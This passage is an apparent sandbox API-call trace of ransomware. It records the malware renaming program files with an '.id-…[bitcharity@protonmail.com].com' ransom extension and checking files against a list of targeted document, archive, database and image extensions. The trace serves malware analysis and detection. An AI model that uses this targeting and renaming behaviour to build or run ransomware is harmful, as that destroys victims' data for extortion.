[0283.393] CloseHandle (hObject=0x115c) returned 1 [0283.394] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.394] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\WATERMAR.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\watermar\\watermar.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.394] CloseHandle (hObject=0x115c) returned 1 [0284.639] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\System\\mfc140.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\system\\mfc140.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\System\\mfc140.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\system\\mfc140.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.644] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\System\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\system\\mfc140u.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\System\\mfc140u.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\system\\mfc140u.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.651] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.651] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\System\\VEN2232.OLB.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\system\\ven2232.olb.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.652] CloseHandle (hObject=0x11c4) returned 1 [0284.654] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\SystemX86\\mfc140.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\systemx86\\mfc140.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\SystemX86\\mfc140.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\systemx86\\mfc140.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.658] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\SystemX86\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\systemx86\\mfc140u.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\SystemX86\\mfc140u.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\systemx86\\mfc140u.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.665] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.665] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\INF\\AER_1033.ADM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\windows\\inf\\aer_1033.adm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.665] CloseHandle (hObject=0x11c4) returned 1 [0284.666] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-000F-0000-1000-0000000FF1CE}\\accicons.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\windows\\installer\\{90160000-000f-0000-1000-0000000ff1ce}\\accicons.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-000F-0000-1000-0000000FF1CE}\\accicons.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\windows\\installer\\{90160000-000f-0000-1000-0000000ff1ce}\\accicons.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.667] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.667] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-000F-0000-1000-0000000FF1CE}\\graph.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\windows\\installer\\{90160000-000f-0000-1000-0000000ff1ce}\\graph.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.667] CloseHandle (hObject=0x11c4) returned 1 [0284.672] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-000F-0000-1000-0000000FF1CE}\\pptico.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\windows\\installer\\{90160000-000f-0000-1000-0000000ff1ce}\\pptico.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-000F-0000-1000-0000000FF1CE}\\pptico.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\windows\\installer\\{90160000-000f-0000-1000-0000000ff1ce}\\pptico.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.673] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-000F-0000-1000-0000000FF1CE}\\visicon.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\windows\\installer\\{90160000-000f-0000-1000-0000000ff1ce}\\visicon.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-000F-0000-1000-0000000FF1CE}\\visicon.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\windows\\installer\\{90160000-000f-0000-1000-0000000ff1ce}\\visicon.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.674] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-000F-0000-1000-0000000FF1CE}\\wordicon.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\windows\\installer\\{90160000-000f-0000-1000-0000000ff1ce}\\wordicon.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-000F-0000-1000-0000000FF1CE}\\wordicon.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\windows\\installer\\{90160000-000f-0000-1000-0000000ff1ce}\\wordicon.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.674] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-000F-0000-1000-0000000FF1CE}\\xlicons.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\windows\\installer\\{90160000-000f-0000-1000-0000000ff1ce}\\xlicons.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-000F-0000-1000-0000000FF1CE}\\xlicons.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\windows\\installer\\{90160000-000f-0000-1000-0000000ff1ce}\\xlicons.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.676] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.676] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\MSPROJ11.MPP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\windows\\shellnew\\msproj11.mpp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.677] CloseHandle (hObject=0x11c4) returned 1 [0284.989] MoveFileW (lpExistingFileName="C:\\Program Files\\Mozilla Firefox\\libGLESv2.dll" (normalized: "c:\\program files\\mozilla firefox\\libglesv2.dll"), lpNewFileName="C:\\Program Files\\Mozilla Firefox\\libGLESv2.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\libglesv2.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.992] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.993] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.993] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\nssdbm3.chk.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\nssdbm3.chk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.993] CloseHandle (hObject=0x11a8) returned 1 [0284.994] MoveFileW (lpExistingFileName="C:\\Program Files\\Mozilla Firefox\\omni.ja" (normalized: "c:\\program files\\mozilla firefox\\omni.ja"), lpNewFileName="C:\\Program Files\\Mozilla Firefox\\omni.ja.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\omni.ja.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.995] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.995] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.995] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\precomplete.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\precomplete.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.996] CloseHandle (hObject=0x11a8) returned 1 [0284.997] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.997] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.997] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\removed-files.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\removed-files.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.997] CloseHandle (hObject=0x11a8) returned 1 [0284.998] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.998] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.998] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\softokn3.chk.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\softokn3.chk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.998] CloseHandle (hObject=0x11a8) returned 1 [0285.000] MoveFileW (lpExistingFileName="C:\\Program Files\\Mozilla Firefox\\xul.dll" (normalized: "c:\\program files\\mozilla firefox\\xul.dll"), lpNewFileName="C:\\Program Files\\Mozilla Firefox\\xul.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\xul.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0285.008] MoveFileW (lpExistingFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationCore.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\presentationcore.dll"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationCore.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\presentationcore.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0285.176] MoveFileW (lpExistingFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\presentationframework.dll"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\presentationframework.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0285.284] MoveFileW (lpExistingFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.ServiceModel.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\system.servicemodel.dll"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.ServiceModel.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\system.servicemodel.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0285.932] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706850 | out: hHeap=0x630000) returned 1 [0285.932] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cdfa0 | out: hHeap=0x630000) returned 1 [0285.933] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3283a28 | out: hHeap=0x630000) returned 1 [0285.933] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3293a30 | out: hHeap=0x630000) returned 1 [0285.934] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3d80020 | out: hHeap=0x630000) returned 1 [0285.937] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706898 | out: hHeap=0x630000) returned 1 [0285.937] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x32b9be0 [0285.937] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x32b9be0, Size=0x20) returned 0x3f646e0 [0285.937] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x32b9e68 [0285.937] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x32b9e68, Size=0x20) returned 0x3f64708 [0285.937] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0285.937] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0285.937] Wow64DisableWow64FsRedirection (in: OldValue=0x376ff50 | out: OldValue=0x376ff50*=0x1) returned 1 [0285.937] lstrlenW (lpString="kernel32.dll") returned 12 [0285.937] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f64708 | out: hHeap=0x630000) returned 1 [0285.937] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0285.937] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f646e0 | out: hHeap=0x630000) returned 1 Thread: id = 2573 os_tid = 0x26e0 [0241.654] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x32a3a38 [0241.655] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x3e90048 [0241.656] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x7068b0 [0241.656] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6) returned 0x6cdde0 [0241.656] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x7068c8 [0241.656] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x100000) returned 0x4097020 [0241.659] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x7068e0 [0241.659] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7068e0, Size=0x20) returned 0x6e4018 [0241.659] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x706aa8 [0241.659] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x706aa8, Size=0x20) returned 0x6e3de8 [0241.659] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0241.660] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0241.660] Wow64DisableWow64FsRedirection (in: OldValue=0x38aff50 | out: OldValue=0x38aff50*=0x0) returned 1 [0241.660] lstrlenW (lpString="kernel32.dll") returned 12 [0241.660] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e4018 | out: hHeap=0x630000) returned 1 [0241.660] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0241.660] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e3de8 | out: hHeap=0x630000) returned 1 [0241.660] Sleep (dwMilliseconds=0x64) [0242.046] lstrcmpiW (lpString1=".MARKER", lpString2=".com") returned 1 [0242.046] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0242.046] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0242.049] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x38aff14 | out: lpFileSize=0x38aff14*=0) returned 1 [0242.049] CloseHandle (hObject=0x1098) returned 1 [0242.049] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0242.049] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0242.049] lstrlenW (lpString=".doc") returned 4 [0242.049] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0242.049] lstrlenW (lpString=".docx") returned 5 [0242.049] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0242.049] lstrlenW (lpString=".pdf") returned 4 [0242.049] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0242.049] lstrlenW (lpString=".xls") returned 4 [0242.049] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0242.049] lstrlenW (lpString=".xlsx") returned 5 [0242.049] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0242.049] lstrlenW (lpString=".ppt") returned 4 [0242.049] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0242.049] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0242.049] lstrlenW (lpString=".zip") returned 4 [0242.049] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0242.049] lstrlenW (lpString=".rar") returned 4 [0242.049] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0242.049] lstrlenW (lpString=".bz2") returned 4 [0242.049] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0242.050] lstrlenW (lpString=".7z") returned 3 [0242.050] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0242.050] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0242.050] lstrlenW (lpString=".dbf") returned 4 [0242.050] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0242.050] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0242.050] lstrlenW (lpString=".1cd") returned 4 [0242.050] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0242.050] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0242.050] lstrlenW (lpString=".jpg") returned 4 [0242.050] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0242.050] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0242.050] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0242.050] lstrlenW (lpString=".doc") returned 4 [0242.050] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0242.050] lstrlenW (lpString=".docx") returned 5 [0242.050] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0242.050] lstrlenW (lpString=".pdf") returned 4 [0242.050] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0242.050] lstrlenW (lpString=".xls") returned 4 [0242.050] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0242.050] lstrlenW (lpString=".xlsx") returned 5 [0242.050] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0242.050] lstrlenW (lpString=".ppt") returned 4 [0242.050] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0242.050] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0242.050] lstrlenW (lpString=".zip") returned 4 [0242.050] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0242.050] lstrlenW (lpString=".rar") returned 4 [0242.050] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0242.050] lstrlenW (lpString=".bz2") returned 4 [0242.050] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0242.051] lstrlenW (lpString=".7z") returned 3 [0242.051] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0242.051] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0242.051] lstrlenW (lpString=".dbf") returned 4 [0242.051] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0242.051] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0242.051] lstrlenW (lpString=".1cd") returned 4 [0242.051] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0242.051] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0242.051] lstrlenW (lpString=".jpg") returned 4 [0242.051] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0242.051] Sleep (dwMilliseconds=0x64) [0242.262] Sleep (dwMilliseconds=0x64) [0242.570] Sleep (dwMilliseconds=0x64) [0242.843] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0242.843] lstrlenW (lpString="bootspaces.dll") returned 14 [0242.844] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.928] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x38aff14 | out: lpFileSize=0x38aff14*=95648) returned 1 [0242.928] CloseHandle (hObject=0x1100) returned 1 [0242.928] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0242.928] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.928] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.928] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0242.928] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0242.928] lstrlenW (lpString=".doc") returned 4 [0242.928] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0242.928] lstrlenW (lpString=".docx") returned 5 [0242.928] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0242.928] lstrlenW (lpString=".pdf") returned 4 [0242.928] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0242.928] lstrlenW (lpString=".xls") returned 4 [0242.928] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0242.929] lstrlenW (lpString=".xlsx") returned 5 [0242.929] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0242.929] lstrlenW (lpString=".ppt") returned 4 [0242.929] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0242.929] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0242.929] lstrlenW (lpString=".zip") returned 4 [0242.929] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0242.929] lstrlenW (lpString=".rar") returned 4 [0242.929] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0242.929] lstrlenW (lpString=".bz2") returned 4 [0242.929] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0242.929] lstrlenW (lpString=".7z") returned 3 [0242.929] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0242.929] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0242.929] lstrlenW (lpString=".dbf") returned 4 [0242.929] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0242.929] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0242.929] lstrlenW (lpString=".1cd") returned 4 [0242.929] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0242.929] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0242.929] lstrlenW (lpString=".jpg") returned 4 [0242.929] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0242.929] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0242.929] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0242.929] lstrlenW (lpString=".doc") returned 4 [0242.929] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0242.929] lstrlenW (lpString=".docx") returned 5 [0242.929] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned 